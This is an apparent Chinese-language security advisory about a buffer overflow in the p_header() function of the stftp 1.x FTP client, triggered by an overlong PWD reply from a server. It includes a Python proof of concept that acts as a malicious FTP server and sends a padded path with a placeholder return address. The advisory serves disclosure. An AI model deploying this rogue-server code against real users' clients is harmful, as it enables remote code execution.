stftp "p_header()"缓冲区溢出漏洞
Bugraq ID:CNCAN ID：CNCAN-2009072304
漏洞消息时间:2009-07-22
漏洞起因
边界条件错误
影响系统
stftp 1.x
不受影响系统
危害
远程攻击者可以利用漏洞以应用程序权限执行任意指令。
攻击所需条件
攻击者必须访问stftp。
漏洞信息
stftp是一款FTP客户端。
stftp不正确处理服务器应答，远程攻击者可以利用漏洞以应用程序权限执行任意指令。
misc.c中包含的"p_header()"函数存在边界错误，恶意FTP服务器提交超长PWD应答给stftp程序处理，可导致基于堆的缓冲区溢出，可能以应用程序权限执行任意指令。
测试方法
#!/usr/bin/python
# -*- coding: utf-8 -*-
# stftp <= 1.10 (PWD Response Stack Overflow) PoC
# Tested on: OpenSuSE 11.1 x64
# by : APA-IUTcert
# Coding: SayedHadi Hashemi
from socket import *
class tcp:
def __init__(self):
self.s = socket(AF_INET, SOCK_STREAM)
self.s.bind(("0.0.0.0",21))
def getnext(self):
print ("Listening for connection ...\n")
self.s.listen(1)
c,addr = self.s.accept()
print ("client is nOw cOnnected\n")
return c
def close(self):
self.s.close();
class ftp:
def exCommand(self, command):
if (len(command)<80):
print("S -> C: " + command)
else:
print("S -> C: " + command + " ...")
self.s.send(command+'\r\n')
def getCommand(self, size=1024):
ret = self.s.recv(size);
if (len(ret)<80):
print ("C -> S: " +ret)
else:
print ("C -> S: " +ret + " ...")
return ret
def __init__(self,c):
self.s=c
def Banner(self,str="Hi There"):
self.exCommand( "220 %s" % str)
def Auth(self, str1="pwd please",str2="OK"):
self.getCommand()
self.exCommand( "331 %s" % str1)
self.getCommand()
self.exCommand( "230 %s" % str2)
def PWD(self,path='/',str='"%s" is current directory.'):
self.getCommand()
self.exCommand( '257 %s' % str % path)
def Reject(self):
self.getCommand()
self.exCommand( "230 ERR Type set to I.")
def SYST(self):
self.getCommand()
self.exCommand( "215 UNIX Type: L8")
def PORT(self):
self.getCommand()
self.exCommand( "200 PORT command successful.")
def CWD(self):
self.getCommand()
self.exCommand( "250 CWD command successful.")
def PASIV(self):
self.getCommand()
self.exCommand( "227 Entering Passive Mode (174,142,51,122,17,214).")
def stftp(self):
# TODO: Enter yOur desire address here
retadd='abcdefghi'
self.Banner()
self.Auth()
# This custom string is adjusted for x64 architeture
self.PWD('x'*144+retadd)
self.getCommand()
t = tcp()
try:
f=ftp(t.getnext())
f.stftp()
except: pass
finally:
t.close()
print "by3 <<<"
厂商解决方案
目前没有解决方案提供：
http://stftp.sourceforge.net/
漏洞提供者
Stefano Angaran
漏洞消息链接
http://www.nsec.ir/PoC/stftp-1.10-PWD.py
漏洞消息标题
stftp-1.10-PWD.py
页:
[1]